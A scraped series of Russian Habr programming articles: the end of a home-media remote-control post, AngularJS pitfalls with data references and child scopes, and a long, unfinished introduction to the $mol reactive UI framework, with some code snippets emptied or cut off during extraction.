AResponseInfo.ContentType:=ARequestInfo.ContentType;
AResponseInfo.ContentStream:=TFileStream.Create(S,0);
except end;
end;
```
Для клиента я написал несколько функций отвечающих за обмен данными с сервером. Что бы запросить у сервера выполнение команды, достаточно добавить на страницу новый тэг с атрибутом scr, так мы и поступим:
```
var boolSendRepeat = false;
function addScript(src){
var element = document.createElement('script');
element.type = 'text/javascript';
element.src = src;
element.className = 'bufferresponsescript';
document.getElementsByTagName('head')[0].appendChild(element);
}
function delScripts(){
var z = document.getElementsByClassName('bufferresponsescript');
for(var i=z.length;i>0;i--){
z[i-1].parentNode.removeChild(z[i-1]);
}
}
function sendCommand(cmdNumber){
addScript('_'+cmdNumber);
}
function sendMacro(arrCmdNumber,arrDelays){
var s='';
for(var i=0;i
```
Применить в интерфейсе это можно вот так:
```
List |
Компьютер |
Vol+ |
```
Результат всего вышеперечисленного показан на следующих изображениях:
Буквально вчера добавил в клиентский интерфейс прямое переключение на каналы эфирного телевидения, получилось симпатично:
Надеюсь в данном посте мне удалось ответить на возникшие вопросы и раскрыть то, что в прошлой статье осталось «за кадром».
**Ссылки:**
[Компонент CPort](http://sourceforge.net/projects/comport/)
[Файлы проекта](http://rghost.ru/53174622)
[PDF с описанием API устройств Global Cache](http://www.globalcache.com/files/docs/API-GC-100.pdf) | https://habr.com/ru/post/216355/ | null | ru | null |
# С большой силой приходит и большая ответственность — техника безопасности в AngularJS
Несомненно, ангуляр даёт вам силу. Но пользоваться ей нужно с умом. Я постарался сформулировать три простых правила, которые я много раз нарушал и страдал от этого.
#### 1. Делайте копию объекта, если он может подвергнуться нежелательным изменениям.
В ангуляре данные по умолчанию едины, и если вы измените их намеренно, случайно или в результате ошибки, под угрозой окажутся все места его использования. Например, у нас есть фабрика пустых сущностей, которые будут использованы для заполнения форм.
```
module.factory("emptyEntity", function() {
var emptyObject = {
name:"",
surname:"",
address:{
city:""
street:"",
}
};
return {
createEmptyEntity: function(){
return emptyObject;
}
};
});
```
И далее, в контроллере формы мы создаём в $scope этот пустой объект и используем его как модель формы.
```
$scope.model = mapper.createEmptyPetition();
```
Что будет, если при вводе формы эта модель изменится, а потом вызвать mapper.createEmptyPetition() снова для другой формы? Так, как везде используется один и тот же экземпляр объекта emptyObject, изменения будут отражены в нём, и при следующем вызове mapper.createEmptyPetition() мы получим грязный и использованный объект. Подобных моментов при разработке может возникать великое множество, и нужно осторожно относиться к раздаче ссылок на объекты направо и налево. В данном случае следовало бы сделать вот так — возвращать копию объекта, чтобы её изменения не касались оригинального объекта:
```
createEmptyEntity: function(){
return angular.copy(emptyObject);
}
```
#### 2. Не теряйте ссылку на объект/массив, если не хотите потерять синхронизацию данных
Простой пример.
У нас есть контроллер, в $scope которого лежит массив, и есть функция для очищения массива:
```
module.controller("NewPetitionController", ["$scope", function($scope) {
$scope.myArray = [1,2,3,4];
$scope.cleanArray = function(){
$scope.myArray = [];
}
}
]);
```
И где-то во вьюшке вы отдаёте массив в какую-нибудь директиву, например, которая его отрисует.
```
```
Что будет, если вызвать функцию cleanArray? Директива спокойно продолжит отображать старый добрый полный массив, потому что у неё осталась ссылка на него. А кодом "$scope.myArray = []" мы только создали новый массив и записали ссылку на него в свойство myArray, на что директиве my-array-viewer абсолютно параллельно. Чтобы занулить массив, не потеряв на него ссылку, нужно просто вызвать $scope.myArray.length = 0;
То же касается объектов. Нельзя просто взять и присвоить переменной новый объект, нужно изменить старый, чтобы остальные части прилоежния, имеющие ссылку на этот объект, не потеряли её.
```
module.controller("NewPetitionController", ["$scope", function($scope) {
$scope.myObj = {foo: "bar"};
$scope.setObj = function(newObj){
//$scope.myObj = newObj; //Так делать нельзя, это приведёт к утере ссылки
angular.extend($scope.myObj, newObj); //нужно вот так, чтобы изменился исходный объект
}
}
]);
```
#### 3. Будьте внимательны с дочерними $scope
Многие директивы, такие как ng-if, ng-include создают дочерний $scope. Что это значит? У этих директив будет создан новый экземпляр $scope, в свойстве prototype которого будет родительский скоуп — стандартной javascript-наследование. Из этого следует, что изменение простых свойств (string, number, boolean etc.) в дочернем скоупе НЕ БУДЕТ затрагивать родительский скоуп, так как простые свойства при наследовании копируются. В отличие от них, объекты при прототипном наследовании передаются ссылками, поэтому изменение свойств объектов будет отображаться в родительском скоупе.
Поэтому так делать не следует, это не будет работать:
```
Показать второй блок
Второй блок отображается!
```
Вместо этого, нужно иметь для таких дел специальный объект в $scope, назовём его viewModel
```
app.controller("MainCtrl", function($scope) {
$scope.viewModel = {};
});
```
```
Показать второй блок
Второй блок отображается!
```
Пишите в комментариях, о какие ещё особенности ангуляр-way вам довелось набить шишек. | https://habr.com/ru/post/230761/ | null | ru | null |
# $mol: reactive micromodular ui-framework
Сколько нужно времени, чтобы просто вывести на экран большой список, используя современные фреймворки?
| [Список на 2000 строк](https://eigenmethod.github.io/mol/perf/render/) | ReactJS | AngularJS | Raw HTML | SAPUI5 | $mol |
| --- | --- | --- | --- | --- | --- |
| Появление списка | 170 ms | 420 ms | 260 ms | 1200 ms | **50 ms** |
| Обновление всех его данных | 75 ms | 75 ms | 260 ms | 1200 ms | **10 ms** |
Напишем нехитрое приложение — личный список задач. Какие у него будут характеристики?
| ToDoMVC | ReactJS | AngularJS | PolymerJS | VanillaJS | $mol |
| --- | --- | --- | --- | --- | --- |
| [Размер ( html + js + css + templates ) \* gzip](http://todomvc.com/) | 322 KB | 326 KB | 56 KB | **20 KB** | 23 KB |
| [Время загрузки](https://www.webpagetest.org/video/view.php?id=160515_4f193e07f4c37dc3b72dd3799dd27397551690a2) | 1.4 s | 1.5 s | 1.0 s | 1.7 s | **0.7 s** |
| [Время создания и удаления 100 задач](https://github.com/nin-jin/todomvc/tree/master/benchmark) | 1.3 s | 1.7 s | 1.4 s | 1.6 s | **0.5s** |
Небольшая головоломка: перед вами **синхронный** код, загружающий и обрабатывающий содержимое **4 файлов**, но с сервера они грузятся **параллельно**. Как такое может быть?
А теперь прошу за мной в кроличью нору, настало время удивительных историй...
Клуб именованных велосипедистов
===============================
Здравствуйте, меня зовут Дмитрий Карловский и я… руководитель группы веб-разработки [компании SAPRUN](http://www.saprun.com/). Наша компания занимается преимущественно внедрением и поддержкой продуктов [SAP](http://go.sap.com/index.html) в ведущих компаниях России и ближнего зарубежья. Сам SAP — огромная сложная система, состоящая из множества компонент.
Один из таких компонент — [веб фреймворк SAPUI5](https://sapui5.hana.ondemand.com), предназначенный для создания одностраничных приложений. Это — типичный представитель коробочных фреймворков, то есть таких, которые предоставляют вам не только архитектуру, но и богатую библиотеку виджетов. И как любой коробочный фреймворк, данный подвержен страшной болезни современности — ожирению.
Проявляется ожирение во всём: огромные объёмы кода из изысканной немецкой пасты; неповоротливые виджеты, еле-еле двигающие списки на 100 элементов; развесистые деревья классов, в дебрях которых заблудится даже лесной эльф. Всё это приводит к достаточно длительной разработке, а время — деньги.
В результате, довольно сложно выигрывать тендеры на разработку веб приложений, если указываешь реальные временные оценки. А если и выигрываешь, то результат, скажем так, не впечатляет: приложение получается либо слишком простым, либо слишком тормозным. Особенно всё печально на смартфонах, где каждый киловатт на счету.
Нам требовался более эффективный инструмент, позволяющий малой кровью создавать конкурентоспособные масштабные кроссплатформенные приложения, поэтому мы решились на страшное — переизобрести колесо — собственный веб фреймворк с говорящим названием [**$mol**](https://github.com/eigenmethod/mol). Разработанный с нуля, он вобрал в себя множество свежих идей, о которых и пойдёт дальнейшее повествование.
Реактивное программирование
---------------------------
Изобретённое 50 лет назад, оно только недавно добралось до мира пользовательских интерфейсов в вебе. Причём добралось в достаточно куцем "push" виде: вы описываете некоторую последовательность действий, на вход подаёте некоторые данные, и эти действия, последовательно применяются к каждому элементу данных. Однако, такой подход приводит ко сложностям при реализации ленивых и динамически меняющихся вычислений.
$mol же построен на "pull" архитектуре, где инициатором любых действий выступает потребитель результата этих действий, а не источник данных. Это позволяет рендерить лишь те части приложения, что попадают в видимую область; создавать лишь те объекты, что требуются для рендеринга в текущий момент; запрашивать с сервера лишь те данные, что требуются для созданных объектов.
$mol насквозь пропитан "ленивыми вычислениями" и автоматическим освобождением ресурсов. Вы можете всего одной строчкой закешировать результат выполнения функции и не беспокоиться об инвалидации и очистке этого кеша — модуль $mol\_atom сам отследит все зависимости и выполнит всю рутинную работу.
```
const source = new $mol_atom( 'source' , ( next? : number )=> next || Math.ceil( Math.random() * 1000 ) )
const middle = new $mol_atom( 'middle' , ()=> source.get() + 1 )
const target = new $mol_atom( 'target' , ()=> middle.get() + 1 )
console.assert( target.get() === source.get() + 2 , 'Target must be calculated from source!' )
console.assert( target.get() === target.get() , 'Value must be cached!' )
source.push( 10 )
console.assert( target.get() === 12 , 'Target value must be changed after source change!' )
```
Тут в момент изменения source происходит инвалидация значения middle и target, так что при запросе значения target происходит вычисление его актуального значения, как бы далеко друг от друга source и target в программе ни находились.
Синхронное программирование
---------------------------
Нет ничего проще, чем синхронное программирование. Код получается коротким, понятным и вы можете свободно использовать все возможности языка по управлению потоком исполнения (if, for, while, switch, case, break, continue, throw, try, catch, finally).
К сожалению, JS — однопоточный язык, поэтому, для обеспечения конкурентного исполнения множества задач, код приходится писать асинхронный, что порождает множество проблем: начиная лапшой из мелких функций и заканчивая ненадёжной обработкой исключительных ситуаций. [node-fibers](https://github.com/laverdet/node-fibers) позволяет писать синхронный код не блокируя системный поток, но работает только в NodeJS. async/await/generators позволяют создавать асинхронные функции, которые могут вызывать друг друга синхронно, но из-за несовместимости с обычными синхронными функциями, приходится чуть ли не все функции делать асинхронными. Кроме того, для них требуется специальная поддержка со стороны браузера или транспиляция в адскую машину состояний.
Модель реактивности же, используемая в $mol, позволяет элегантно абстрагировать код от асинхронности. Посмотрите, например, на исходный код Куайна из начала статьи:
```
content() {
const paths = [
'/mol/app/quine/quine.view.tree' ,
'/mol/app/quine/quine.view.ts' ,
'/mol/app/quine/quine.view.css' ,
'/mol/app/quine/index.html' ,
]
const sources = paths.map( path => {
return $mol_http.resource( path ).text()
} )
const content = sources.map( ( source , index )=> {
const header = `# ${ paths[ index ] }\n`
const code = '```\n' + source.replace( /\n+$/ , '' ) + '\n```\n'
return `${ header }\n${ code }`
} ).join( '\n' )
return content
}
```
Тут вы видите вполне себе синхронную генерацию содержимого страницы. Однако, системный поток не блокируется, а загрузка всех 4 файлов происходит параллельно. При этом, пока идёт загрузка данных, вместо них выводится индикатор загрузки. Формируется он автоматически, избавляя разработчика и от этой головной боли тоже.
Компонентное программирование
-----------------------------
Разбиение приложения на компоненты позволяет разделять одну большую задачу, на задачи поменьше. Компоненты могут быть реализованы разными людьми одновременно, после чего собраны вместе. Поэтому важно, чтобы компоненты с одной стороны были самодостаточны, а с другой — очень гибко настраиваемы.
[Конструктор LEGO](https://www.lego.com/) содержит множество самых разнообразных деталей, но любые из них стыкуются вместе благодаря стандартизированному соединительному интерфейсу. В $mol в роли такого интерфейса выступают свойства. Когда родительский компонент создаёт дочерний, он переопределяет у того ряд свойств, настраивая его поведение под свои требования. А благодаря реактивности, риск что-либо непреднамеренно сломать в дочернем компоненте — минимален.
Вы можете легко и просто заменить какое-либо свойство моком, чтобы протестировать логику работы компонента; задать всем свойствам константные значения для проверки вёрстки; указать дочернему компоненту использовать какое-либо свойство родительского, и связать через него несколько дочерних компонент вместе.
Родительский компонент имеет полный контроль над дочерними, что позволяет делать компоненты очень простыми, без необходимости реализации всех возможных сценариев с огромными конфигами для их настройки.
В примере с Куайном используется компонент $mol\_pager, рисующий типичную страничку с заголовком в шапке, скроллящимся телом и подвалом:
```
$mol_page $mol_view
sub /
<= Head $mol_view
sub <= head /
<= Title $mol_view
sub /
<= title -
<= Body $mol_scroll
sub <= body /
< Foot $mol_view
sub <= foot /
```
Но на базе него вы можете создать новый компонент, который в шапку добавляет иконку, тело заменяет компонентом из родителя, а подвал вообще удаляет:
```
$mol_app_quine $mol_page
head /
<= Logo $mol_icon_refresh
<= Title -
body /
<= Text $mol_text
text <= content \
Foot null
```
С голой грудью на амбразуру
===========================
Представьте, что вам достался старый проект, о котором вы слышали ровным счётом ничего. Всё, что у вас есть — репозиторий с исходными кодами. Документации либо нет, либо она уже давно потеряла былую актуальность. А вам нужно починить какой-нибудь назойливый баг. Ещё вчера.
Допустим, перед вами [вот это не хитрое приложение](https://eigenmethod.github.io/mol/app/supplies/):
Тут слева вы видите список заявок на закупки, а справа — подробности по выбранной заявке: кому, что, когда и на какую сумму. И всё бы хорошо, да вот только дата поставки выводится в формате ISO8601 "YYYY-MM-DD", а не в привычном для целевой аудитории "MM/DD/YYYY". *Кто мы такие, чтобы навязывать заказчику международные стандарты? Нет, так дело не пойдёт и нужно срочно исправить, но с чего начать, куда копать?*
Единственная зацепка — DOM элемент, куда выводится дата. Возможно DOM инспектор сможет помочь найти какие-либо зацепки, которые позволят вам выйти на исполнителя:
*Что за больной психопат мог придумать столь длинные идентификаторы элементам? И почему они такие странные? Словно бы являются JS кодом… А что если..*
Скопировав идентификатор в консоль вы с удивлением обнаруживаете, что данный код не просто рабочий, но и возвращает какой-то объект, подозрительно напоминающий визуальный компонент: он является экземпляром класса `$mol_viewer` и хранит в себе ссылку на DOM элемент с которого вы и начали своё расследование.
Тут вы подмечаете, странную закономерность: все поля именуются либо нормально, но хранят в себе функции, либо хранят не функции, но именуются со скобками в конце. Похоже, это ружьё тут тоже висит не просто так — вы пробуете вызвать у объекта метод `objectOwner()` и получаете ожидаемый результат — ссылку на компонент выше по иерархии:
Уже лучше ориентируясь в происходящем, вы возвращаетесь к жертве неправильной локализации и окидываете взглядом её немногочисленные поля, ни одно из которых не содержит заветной даты. Ваше внимание привлекает поле с говорящим названием `childs`, которое содержит некую функцию возвращаемым значением которой может быть именно то, что вы ищите.
*Ага!* У вас есть подозреваемый. Щёлкнув правой кнопкой по функции вы в два счёта находите место её определения:
Перед вами код создания вложенного компонента, явно сгенерированный роботом. На это указывает странный путь к файлу и короткий комментарий, судя по всему, послуживший исходником для генератора. А найденная вами функция `childs` — не более чем посредник, передающий управление функции `content` компонента-владельца. Продолжая движение по цепочке улик, вы поднимаетесь всё выше, распутывая клубок интриг в высших эшелонах власти, пока, наконец, не выходите на истинного преступника под именем `$mol_app_supplies.root(0).detailer().position(0).supplyDate()`:
Дело за малым — направиться по указанному адресу, внести необходимые изменения и проверить их. *Но с чего начать, куда копать?*
Вы выкачиваете репозиторий и обнаруживаете в корне проекта `package.json`. Логично предположить, что это NodeJS проект, а значит нужно установить зависимости:
```
> npm install --depth 0
Type 'npm start' to start dev server or 'npm start {relative/path}' to build some package.
.
+-- body-parser@1.15.2
+-- compression@1.6.2
+-- concat-with-sourcemaps@1.0.4
+-- express@4.14.0
+-- mam@1.0.0
+-- portastic@1.0.1
+-- postcss@5.2.4
+-- postcss-cssnext@2.8.0
+-- source-map-support@0.4.3
`-- typescript@2.0.3
```
Зависимостей не очень много, так что ставятся они все в течении минуты. Вы подмечаете, что в проекте активно используется транспиляция: скрипты пишутся на typescript, стили обрабатываются postcss, а для отладчика генерируются source-maps.
Cудя по подсказке, для запуска локального сервера, нужно выполнить очевидную команду:
```
> npm start
22:23 Built mol/build/-/node.deps.json
22:23 Built mol/build/-/node.js
22:23 Built mol/build/-/node.test.js
$mol_build.root(".").server() started at http://127.0.0.1:8080/
```
Дальнейшие шаги не менее очевидны — открытие указанного адреса приводит вас к списку пакетов вида:
Вы идёте вглубь по пространствам имён, пока не попадаете на нужное приложение. Подозревая, что в рамках одного проекта может существовать множество приложений, вы проверяете другие пути и убеждаетесь, что это действительно так.
При этом вы подмечаете, что первое открытие приложения происходит несколько секунд, а повторные заходы уже отрабатывают мгновенно. *Что за тормоза на пустом месте?* Открытие консоли проясняет ситуацию:
```
$mol_build.root(".").server() started at http://127.0.0.1:8080/
mol> git fetch & git log --oneline HEAD..origin/master
> git fetch & git log --oneline HEAD..origin/master
jin> git fetch & git log --oneline HEAD..origin/master
23:00:23 Built mol/app/supplies/-/web.css
23:00:27 Built mol/app/supplies/-/web.js
23:00:27 Built mol/app/supplies/-/web.locale=en.json
23:00:41 Built mol/app/todomvc/-/web.css
23:00:45 Built mol/app/todomvc/-/web.js
23:00:45 Built mol/app/todomvc/-/web.locale=en.json
```
Ага, при первом заходе в приложение происходит сборка пакетов для него. Все скрипты в один файл, все стили — в другой, тексты — в третий. Вы перезапускаете сервер, открываете браузер и проверяете эту теорию:
Так и есть — грузятся всего 4 файла, причём, подозрительно малого объёма в сравнении с другими популярными фреймворками: все скрипты умещаются в 30 килобайт с учётом сжатия. *Чёрная магия, не иначе. В 30 килобайт даже отдельно взятая jQuery не помещается, а ведь эта библиотека — основа большинства фреймворков.* Вы смотрите в [сгенерированный пакет web.js](https://eigenmethod.github.io/mol/app/supplies/-/web.js) и офигеваете ещё сильнее, ведь *код даже не минифицирован! Совсем ничего святого!*
Что ж, хватит развлекаться, пора провести исправительные работы. Вы открываете `positioner.view.ts` и видите там следующую картину:
```
namespace $.$mol {
export class $mol_app_supplies_position extends $.$mol_app_supplies_position {
position() {
return null as $mol_app_supplies_domain_supply_position
}
product_name() {
return this.position().name()
}
price() {
return this.position().price()
}
quantity() {
return this.position().quantity().toString()
}
cost() {
return this.position().cost()
}
supply_date() {
return this.position().supply_moment().toString( 'YYYY-MM-DD' )
}
division_name() {
return this.position().division().name()
}
store_name() {
return this.position().store().name()
}
}
}
```
*Как-то бедновато. Где лапша? Где фрикадельки?* Всё, что делают эти 8 методов — это преобразуют хитросплетения данных доменной модели в свойства модели интерфейсной. Чтобы понять как данные выводятся, вы идёте по единственному видимому отсюда пути — зажимаете CTRL и щёлкаете по базовому классу, что приводит вас к тому самому генерированному коду, расположенному во '-/view.tree/positioner.view.tree.ts':
```
/// $mol_app_supplies_position $mol_card
namespace $ { export class $mol_app_supplies_position extends $mol_card {
/// heightMinimal 68
height_minimal() {
return 68
}
/// productLabel @ \Product
product_label() {
return this.text( "product_label" )
}
/// productName \
product_name() {
return ""
}
/// product_item $mol_labeler
/// title <= product_label
/// content <= product_name
@ $mol_mem()
product_item( next? : any , prev? : any ) {
return ( next !== undefined ) ? next : new $mol_labeler().make({
title : () => this.product_label() ,
content : () => this.product_name() ,
} )
}
// ...
```
И тут куча мелких функций. Ни тебе обработчиков событий, ни создания DOM-элементов. Видя рядом расположенные куски исходного файла и сгенерированный код, вы быстро начинаете понимать этот птичий синтаксис:
* При объявлении компонента сначала указывается имя его класса, а потом имя базового класса.
* Внутри объявления комбинация имени и значения создают функцию, которая возвращает это значение.
* В качестве значения можно указать число, либо строку, если предварить её "обратной косой чертой". Эта черта ассоциируется у вас с экранированием данных. По всей видимости всё, что идёт после неё не будет разбираться генератором, а будет вставлено как строка.
* Если поставить "собачку", то текст пропадёт из кода, а вместо него будет вставлено получение его по ключу. По всей видимости именно на этом и основана генерация файла с текстами, которую вы подметили, когда игрались со сборкой проекта.
* В качестве значения можно указать имя другого компонента и тогда функция будет возвращать соответствующий экземпляр. При этом можно перегрузить свойства вложенного компонента, своими свойствами. Угловая скобка, очевидно, показывает направление движения данных.
*Вроде бы всё просто, но не понятно только зачем было вводить какой-то свой формат, если то же самое в typescript занимает не сильно больше места*. Вы открываете исходный `positioner.view.tree` в надежде увидеть там что-то ещё.
```
$mol_app_supplies_position $mol_card
height_minimal 68
content <= Groups $mol_view sub /
<= Main_group $mol_row sub /
<= product_item $mol_labeler
title <= product_label @ \Product
content <= product_name \
<= cost_item $mol_labeler
title <= cost_label @ \Cost
content <= Cost $mol_cost
value <= cost $mol_unit_money
valueOf 0
- ...
```
И действительно — существенное отличие в том, что во `view.tree` иерархия вложенных компонент представлена наглядно, что позволяет быстро в них ориентироваться, но генерируемый класс получается вполне себе плоским, предоставляя доступ к любому вложенному компоненту за один вызов метода.
Воодушевлённый тем, как легко вы распутываете клубок внутренней архитектуры, вы берётесь за правки. Можно было бы просто поменять формат вывода в функции `supplyDate` и на этом закрыть дело:
```
supply_date() {
return this.position().supply_moment().toString( 'MM/DD/YYYY' )
}
```
Но это бы лишь отсрочило решение настоящей проблемы — формат не зависит от установленной локали. А ведь чуть раньше вы выяснили, что локализация текстов уже вполне себе поддерживается. Вы возвращаетесь к `positioner.view.tree.ts`:
```
/// product_label @ \Product
product_label() {
return this.text( "product_label" )
}
```
Погрузившись в `text()` вы доходите до места, где задаётся язык:
```
export class $mol_locale extends $mol_object {
@ $mol_mem()
static lang( next? : string ) {
return $mol_state_local.value( 'locale' , next ) || 'en'
}
```
*Ага, чтобы получить текущий язык, нужно выполнить*:
```
$mol_locale.lang()
```
Вы выполняете этот код в консоли и убеждаетесь, что он действительно работает.
Осталось создать функцию, которая бы по идентификатору языка возвращала формат представления даты. *Но где её разместить?* Нужно создать отдельный модуль.
По аналогии с другими модулями вы создаёте новый по адресу `mol/dateFormat/dateFormat.ts` со следующего вида содержимым:
```
namespace $ {
export const $mol_dateFormat_formats : { [ key : string ] : string } = {
'en' : 'MM/DD/YYYY' ,
'ru' : 'DD.MM.YYYY' ,
}
export function $mol_dateFormat() {
return $mol_dateFormat_formats[ $mol_locale.lang() ] || 'YYYY-MM-DD'
}
}
```
Только одно не понятно — ни в одном файле нет ни `import`, ни `require`. *Как же система узнает, что этот файл нужно включить в пакет приложения? Не попадают же в пакет вообще все файлы?* Чтобы проверить эту гипотезу вы перезагружаете приложение и пытаетесь вызвать свежесозданную функцию из консоли:
```
$.$mol_dateFormat() // Uncaught TypeError: $.$mol_dateFormat is not a function
```
*Ну не может же оно само понимать какой модуль нужен, а какой — нет? Или может?* Вы добавляете использование функции в приложение:
```
supply_date() {
return this.position().supply_moment().toString( $mol_dateFormat() )
}
```
Перезагрузив страницу, вы с удивлением обнаруживаете, что приложение не только не упало, но и вывело дату в локализованном формате:
Вы переименовываете файл в `dateFormat2.ts` — всё работает. Переименовываете директорию в `dateFormat2` — снова ошибка. Переименовываете функцию в `$mol_dateFormat2` — снова работает. Всё становится ясно — при обращении ко глобальной функции/классу/переменной с таким странным именованием происходит поиск пути, соответствующего частям имени. И если находится такая директория — подключаются скрипты из неё.
Отменив последние переименовывания, вы, с чувством полного удовлетворения коммитите изменения и идёте в столовую праздновать столь быстрое завершение задачи по коду, который вы увидели в первый раз в жизни, даже не читая никакой документации.
Разумеется, вы могли бы прочитать [документацию по фреймворку](https://github.com/eigenmethod/mol) и точно знать об используемых в нём принципах, а не строить теории и проверять их экспериментально. Но как известно, лучший способ разобраться как механизм работает — разобрать его и потыкать своими руками. Благо $mol поощряет исследование рантайма, исповедуя следующие принципы:
* Все объекты доступны по ссылкам из глобальной области видимости, а не спрятаны в замыканиях. Это позволяет разработчику легко и просто исследовать внутреннее состояние приложения.
* Для долгоживущих объектов автоматически генерируются уникальные человекопонятные идентификаторы, которые одновременно являются и "javascript-путями" до них из глобальной области видимости, что гарантирует их уникальность.
* Изменения всех состояний логируются, с указанием идентификаторов объектов, что позволяет в точности понять, где что произошло. Например, если вы включите вывод логов всех сообщений, в идентификаторах которых есть подстрока "task", то, при завершении задачи в [ToDoMVC](https://eigenmethod.github.io/mol/app/todomvc/), вы увидите следующие сообщения:
```
> $mol_log.filter('task')
< "task"
12:27:36 $mol_state_local.value("task=1476005250333") push Object {completed: true, title: "Hello!"} Object {completed: false, title: "Hello!"}
12:27:36 $mol_app_todomvc.root(0).task_completed(0) obsolete
12:27:36 $mol_app_todomvc.root(0).task_title(0) obsolete
12:27:36 $mol_app_todomvc.root(0).task_completed(0) push true false
12:27:36 $mol_app_todomvc.root(0).Task_row(0).completer().render() obsolete
12:27:36 $mol_app_todomvc.root(0).Task_row(0).render() obsolete
```
* Пространства имён в рантайме однозначно соответствуют структуре директорий в репозитории. Это гарантирует отсутствие конфликтов и даёт чёткое понимание как человеку, так и машине, где искать исходные файлы.
* Весь код псевдосинхронен и разбит на небольшие функции, что упрощает его понимание. В следующем примере происходит неблокирующий запрос файла с текстами на нужном языке. Обратите внимание на полезный стектрейс, который не доступен при использовании "обещаний", "стримов" и тому подобных абстракций.
Прыжок без парашюта
===================
Представьте, что перед вами внезапно вырисовалась задача разработать кроссплатформенное приложение, которое бы одинаково хорошо чувствовало себя как на мощных десктопах с огромными экранами, так и на миниатюрных смартфонах, где пол экрана то и дело закрывает клавиатура. Ах да, и сделать это надо было ещё вчера, а у вас ноутбук сломался и вам выдали девственно чистую замену.
Итак, вы работаете в компании ACME (а если не работаете, то основываете свою) и вам нужно реализовать веб-приложение для [гиковского социального блога HabHub](https://github.com/nin-jin/HabHub). Для начала, вам нужно просто загружать с гитхаба статьи и показывать их единой лентой.
Первым делом вы устанавливаете необходимое программное обеспечение: [Git](https://git-scm.com/), [WebStorm](https://www.jetbrains.com/webstorm/), [NodeJS и NPM](https://nodejs.org/).
Далее вы выкачиваете [репозиторий со стартовым проектом MAM](https://github.com/eigenmethod/mam):
```
git clone https://github.com/eigenmethod/mam.git ./mam && cd mam
```
Содержит он лишь общие для всех пакетов конфиги:
* `.idea` — настройки для WebStorm: форматирование кода, статические проверки, запуск локального сервера.
* `.editorconfig` — настройки для других редакторов.
* `.gitignore` — указывает какие файлы git должен игнорировать.
* `.pms.tree` — указывает какой пакет из какого репозитория выкачивать. Пакеты выкачиваются сборщиком автоматически по необходимости.
* `package.json` — настройки для NPM.
* `tsconfig.json` — настройки для TypeScript компилятора.
Открыв проект в WebStorm, вы запускаете локальный сервер, кнопкой "Start" на панели инструментов, либо, если вы предпочитаете другой редактор, выполнив в консоли:
```
npm start
```
Далее вы создаёте для приложения директорию `acme/habhub` и кладёте в неё `index.html`, который будет служить точкой входа в ваше приложение:
```
```
Содержимое этого файла весьма типовое, разве что в атрибуте `mol_viewer_root` вы указываете класс компонента, который будет использован в качестве приложения. Да, компоненты на базе `$mol_viewer` настолько самодостаточные, что любой из них может быть отрендерен изолированно от остальных, как отдельное приложение.
Чтобы создать упомянутый компонент, вы создаёте файл `./acme/habhub/habhub.view.tree`:
```
$acme_habhub $mol_view
```
После чего открываете `http://localhost:8080/acme/habhub/` и убеждаетесь, что загружается чистая страница, а в консоли нет ни одной ошибки — это значит, что все необходимые файлы успешно сгенерировались и загрузились, а тесты не выявили проблем.
Язык описания компонент
-----------------------
`view.tree` — мощный и лаконичный декларативный язык описания компонент, позволяющий собирать одни компоненты из других, как из кубиков LEGO. Выучив этот не хитрый язык, любой верстальщик может создавать гибкие переиспользуемые компоненты, которые легко интегрируются в другие, без традиционного "натягивания вёрстки на логику". Вся логика пишется в отдельном файле `view.ts` и как правило не требует изменений во `view.tree`, что позволяет программисту и верстальщику работать над одними и теми же компонентами, не мешая друг другу. Это достигается за счёт намеренного ограничения: вы не можете просто взять и вставить `div` в нужном месте. `view.tree` требует, чтобы вы использовали компоненты и (самое главное!) каждому из них давали уникальные имена. Фактически `$mol_view` просто создаст `div` при рендеринге в `DOM`, но в перспективе рендеринг может быть в графический холст, нативные компоненты или даже в excel файл.
Типичный сценарий создания компонента верстальщиком выглядит так (на примере компонента показывающего ненавязчивый лейбл над блоком):
Сперва он пишет демо-компоненты, которые являются примерами использования реализуемого компонента:
```
- Label over simple text
$mol_labeler_demo_text $mol_labeler
title @ \Provider
content @ \ACME Provider Inc.
- Label over string form field
$mol_labeler_demo_string $mol_labeler
title @ \User name
Content $mol_string
hint <= hint @ \Jack Sparrow
value?val <=> user_name?val \
```
Потом, собственно реализует его:
```
$mol_labeler $mol_view
sub /
<= Title $mol_view
sub /
<= title -
<= Content $mol_view
sub /
<= content null
```
А потом открывает страницу, где выводятся все демо компоненты и добавляет стили, глядя на все варианты использования компонента одновременно:
```
[mol_labeler_title] {
color: var(--mol_skin_passive_text);
font-size: .75rem;
}
```
Многих смущает необычный синтаксис. То же самое можно было бы написать используя более привычный синтаксис XML:
```
User name
Jack Sparrow
```
Но он весьма громоздкий; во главе угла у него типы компонент, а не их имена в контексте родительского компонента; некоторые символы в строках требуют замены на xml-entities; велик соблазн просто скопипастить кусок вёрстки, без компонентной декомпозиции. Всё это приводит к осложнению работы с кодом и его поддержки, и поэтому в $mol используется именно синтаксис Tree, оптимально подходящий для задачи.
Небольшая шпаргалка по view.tree:
Объявление/использование компонента состоит из 3 частей:
1. Имя компонента/свойства
2. Имя базового компонента
3. Список (пере)определяемых свойств
`$` — префикс имён компонент. Данный префикс используется везде, кроме css, где он не допустим.
`\` — с этого символа начинаются сырые данные. Содержать они могут любые символы (кроме символа конца строки), без какого-либо экранирования. Чтобы встравить несколько строк, нужно добавить символ `\` перед каждой.
`@` — вставленный между именем свойства и сырыми данными, он указывает вынести текст в файл с локализованными строками.
`/` — объявляет список. Вставляйте элементы списка на отдельных строках с дополнительным отступом.
`*` — объявляет словарь. Сопоставляет текстовым ключам произвольные значения. Ключ не может содержать пробельные символы.
`<` — односторонне связывание (не путать с одноразовым). Указывает, что свойство слева (принадлежащее компоненту слева) должно брать значение из свойства справа (принадлежащее определяемому компоненту).
`>` — двустороннее связывание (не путать с обработчиками событий). Указывает, что в качестве свойства слева, должно быть взято свойство справа.
`#` — произвольный ключ. Указывает, что первым параметром свойство принимает некоторый ключ
Числа, логические значения и null выводятся как есть, без каких-либо префиксов.
Складываем кирпичики
--------------------
Разобравшись в языке view.tree вы продолжаете пилить социальный блог. Прежде всего вы решаете, что у вас будет типичная раскладка страницы в виде шапки и скроллящейся области. Для этого вы используете готовый компонент $mol\_page:
```
$acme_habhub $mol_page
title \HabHub
body /
\Hello HabHub!
```
*Отлично!* В теле страницы должны быть статьи. Статьи на GitHub пишутся в формате markdown, поэтому вы добавляете пару примеров статей, используя компонент для визуализации markdown — $mol\_texter:
```
$acme_habhub $mol_page
title \HabHub
body <= Gists /
<= Gist1 $acme_habhub_gist
text \
\# Hello markdown!
\
\*This* **is** some content.
< Gist2 $acme_habhub_gist
text \
\# Some List
\
\* Hello from one!
\* Hello from two!
